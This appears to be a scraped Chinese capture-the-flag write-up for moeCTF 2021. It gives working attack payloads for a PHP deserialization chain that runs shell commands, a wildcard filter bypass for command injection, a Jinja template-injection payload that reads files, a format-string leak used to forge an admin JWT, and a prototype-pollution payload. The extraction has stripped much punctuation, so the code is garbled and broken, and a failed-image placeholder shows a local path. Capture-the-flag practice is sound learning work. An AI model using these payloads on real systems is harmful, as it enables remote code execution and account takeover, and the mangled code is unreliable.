pop链的构造 主要看这篇文章https://paper.seebug.org/1480/
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7fWdPkQI-1632746009325)(C:UsersyuanAppDataRoamingTyporatypora-user-imagesimage-20210906180953364.png)]
POC
?php class entrance public $start; class springboard//跳板ne public $middle; class evil public $end; $a new entrance(); $a- start new springboard(); $a- start- middle new evil(); // $a- start- middle- end $_GET[ a $a- start- middle- end system( cd ..;cd ..;cd ..;ls;cat flag;ls ; echo serialize($a);babeRCE
RCE, remote code execution 泛指能在远端机器上执行任意代码的情况。可是网站管理员添加了种种入侵检测 这该如何是好
知识点 通配符 linux命令
通配符绕
[ http://47.93.215.154:5000/?rce / ]( http://47.93.215.154:5000/?rce / )???/c?t${IFS}fla?.php
让 我 访 问
在注册页面发现有跳转 抓包发现可能有ssti
payload:{{ .__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[ __builtins__ ][ eval ]( __import__( os ).popen( cat /flag ).read() )}}
地狱通讯-改打开题目直接给了源码
这个页面主要有两个函数 第一个函数过滤了’admin’ 并设置cookie留给第二个函数使用 第二个函数又只能用admin访问flag 所以我们可以通过format的漏洞去伪造处admin的token,主要用处就是去读取jwt加密的secret密钥和header
首先获取普通用户的tokentoken eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidXNlciJ9.ghbUg6IQbe5deetNUql48wZDf03LeZeMbNq0MXc0amU
然后带着cookie访问
/hello?flag {0.__class__.__init__.__globals__}
获得密钥isu_have_kn0w_what_f0rmat_i5和headers:{‘alg’: ‘HS256’, ‘typ’: ‘JWT’}
利用python 的jwt加密伪造token 带着token访问成功登录。
import jwt
payload { name : admin , }
secret u_have_kn0w_what_f0rmat_i5
headers { alg : HS256 , typ : JWT }
token jwt.encode(payload, secret, algorithm HS256 , headers headers)
print(token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.ONh7uQwunkVjB4_ZwuLNIHBGbciqLAtJxQF81elyqBc
参考:
Python格式化字符串研究
moeCTF_2021
地狱通信同上
fake gamejs原型链污染 使用merge函数时 但对象原型json格式作为键名时 可以改变原来类的属性。
payload { attributes : { health : 0, attack : 0, armor : 0, __proto__ : { health : 10000, attack : 10000, armor : 10000}}}



